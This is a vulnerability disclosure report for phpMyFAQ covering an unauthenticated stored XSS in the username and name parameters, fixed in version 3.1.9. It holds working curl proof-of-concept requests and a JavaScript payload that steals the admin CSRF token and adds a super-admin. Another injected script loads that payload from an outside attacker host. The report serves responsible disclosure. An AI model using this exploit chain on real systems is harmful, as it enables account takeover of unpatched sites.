Unauthenticated stored XSS via username & name parameters in thorsten/phpmyfaq

Valid

Reported on

Nov 3rd 2022


There is a stored XSS vulnerability due to improper sanitization of usernames. Vulnerable code User.php line 532:

    public function isValidLogin(string $login): bool
    {
        $login = (string)$login;

        if (strlen($login) < $this->loginMinLength || !preg_match($this->validUsername, $login)) {
            $this->errors[] = self::ERROR_USER_LOGIN_INVALID;

            return false;
        }

        return true;
    }

This code performs a loose filtering on $login parameter due to the use of preg_match function. The preg_match function only validates the first line of user-input. I.e. content after newline isn't validated at all. Meaning that <script>alert(1)</script> is an invalid username but pwn <script>alert(1)</script> is a perfectly valid username. Or in URL encoded form: pwn%0A%3Cscript%3Ealert(1)%3C/script%3E.

Because of this, attackers can supply URL encoded XSS payloads which would bypass the filter such as:

realname=pwn%0A%3Cscript%3Ealert(1)%3C/script%3E&name=pwn%0A%3Cscript%3Ealert(1)%3C/script%3

Later on, the user with a malicious username is inserted into the database. Finally, whenever admin user visits "List User page". E.g. https://172-105-72-245.ip.linodeusercontent.com/phpmyfaq/admin/?action=user&user_action=listallusers the admin/user.php file is executed and attacker supplied input is interpolated into the DOM without any sanitization: <td><?= $user->getLogin() ?></td>

PoC: Issue the following request to create a user with a username of pwn\n<script>alert(1)</script>:

curl -i -s -k -X $'POST' \
    -H $'Host: 172-105-72-245.ip.linodeusercontent.com' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0' -H $'Accept: application/json, text/javascript, */*; q=0.01' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 137' -H $'Connection: close' \
    --data-binary $'lang=en&realname=pwn%0A%3Cscript%3Ealert(1)%3C/script%3E&name=pwn%0A%3Cscript%3Ealert(1)%3C/script%3E&email=kali%40kali.com&is_visible=on' \
    $'https://172-105-72-245.ip.linodeusercontent.com/phpmyfaq/ajaxservice.php?action=saveregistration'

Now visit the "List all users page": https://172-105-72-245.ip.linodeusercontent.com/phpmyfaq/admin/?action=user&user_action=listallusers

XSS Payload will be triggered.

Please see occurrences section for a second Unauthenticated stored XSS vulnerability via name parameter.

Impact

This vulnerability leads to privilege escalation from unauthenticated user to super-admin. This is because its possible to ride admin's session and add another superuser under our control. Example payload:

var parseCSRFToken = async function () {
    var response = await fetch('/phpmyfaq/admin/?action=user', {
        credentials: "include"
    }).then(resp => resp.text())

    var parser = new DOMParser();
    var d = parser.parseFromString(response, "text/html");
    return d.getElementsByName('add_user_csrf')[0].value;
}


var addSuperAdmin = async function (csrfToken, username, email, password) {
    var addUserURL = `/phpmyfaq/admin/index.php?action=ajax&ajax=user&ajaxaction=add_user&csrf=${csrfToken}`
    return await fetch(addUserURL, {
        headers: {
            'Accept': 'application/json',
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
            "email": email,
            "userName": username,
            "realName": username,
            "password": password,
            "isSuperAdmin": true,
            "passwordConfirm": password,
        }),
        credentials: "include",
        method: "POST"
    })
}

/*
In this case the installation is prefixed with phpmyfaq. I.e the base URL is:
https://172-105-72-245.ip.linodeusercontent.com/phpmyfaq/
*/
var pwn = async function () {
    var response = await fetch('/phpmyfaq/admin/?action=user&user_action=listallusers', {
        credentials: "include"
    }).then(resp => resp.text())

    var username = "privesc"

    function isAccountAlreadyCreated(resp) {
        var parser = new DOMParser();
        var d = parser.parseFromString(resp, "text/html");
        return d.getElementsByClassName('table table-striped')[0].textContent.includes(username);
    }

    //Don't create an account if one is already created
    if (isAccountAlreadyCreated(response)) {
        return;
    }

    var csrfToken = await parseCSRFToken();
    await addSuperAdmin(csrfToken, username, "pwned@example.com", "password123")
}

pwn();

Which when hosted on attackers server can be retrieved and executed when the following payload is injected:

pwn
<script src="https://172-104-147-158.ip.linodeusercontent.com/payload.js"></script>

Or in cURL form

curl -i -s -k -X $'POST' \
    -H $'Host: 172-105-72-245.ip.linodeusercontent.com' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0' -H $'Accept: application/json, text/javascript, */*; q=0.01' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 265' -H $'Connection: close' \
    --data-binary $'lang=en&realname=pwn%0A%3Cscript%20src=%22https://172-104-147-158.ip.linodeusercontent.com/payload.js%22%3E%3C/script%3E&name=pwn%0A%3Cscript%20src=%22https://172-104-147-158.ip.linodeusercontent.com/payload.js%22%3E%3C/script%3E&email=kali%40kali.com&is_visible=on' \
    $'https://172-105-72-245.ip.linodeusercontent.com/phpmyfaq/ajaxservice.php?action=saveregistration'

When admin opens the "List all users" page, the webapp will reach out to attackers host and execute the malicious JavaScript (with admin cookies), once that is done a new super-admin will be added with a user-controlled password:

mysql> select login, is_superadmin from faquser;
+-----------------------------------------------------------------------------------------+---------------+
| login                                                                                   | is_superadmin |
+-----------------------------------------------------------------------------------------+---------------+
| anonymous                                                                               |             0 |
| oldie                                                                                   |             0 |
| pwn
<script src="https://172-104-147-158.ip.linodeusercontent.com/payload.js"></script> |             0 |
| privesc                                                                                 |             1 |
+-----------------------------------------------------------------------------------------+---------------+
4 rows in set (0.00 sec)
We are processing your report and will contact the thorsten/phpmyfaq team within 24 hours. a year ago
thorsten/phpmyfaq maintainer modified the report
a year ago
thorsten/phpmyfaq maintainer modified the report
a year ago
Thorsten Rinne validated this vulnerability a year ago
ugniusv has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
thorsten/phpmyfaq maintainer
a year ago

Thanks for the validation. Would you be willing to issue the CVE once fixed?

Thorsten Rinne marked this as fixed in 3.1.9 with commit 66754b a year ago
Thorsten Rinne has been awarded the fix bounty
thorsten/phpmyfaq maintainer
a year ago

Care to disclose?

This vulnerability has now been published a year ago
Thorsten Rinne gave praise a year ago
Thanks again, v3.1.9 is now released!
The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1
to join this conversation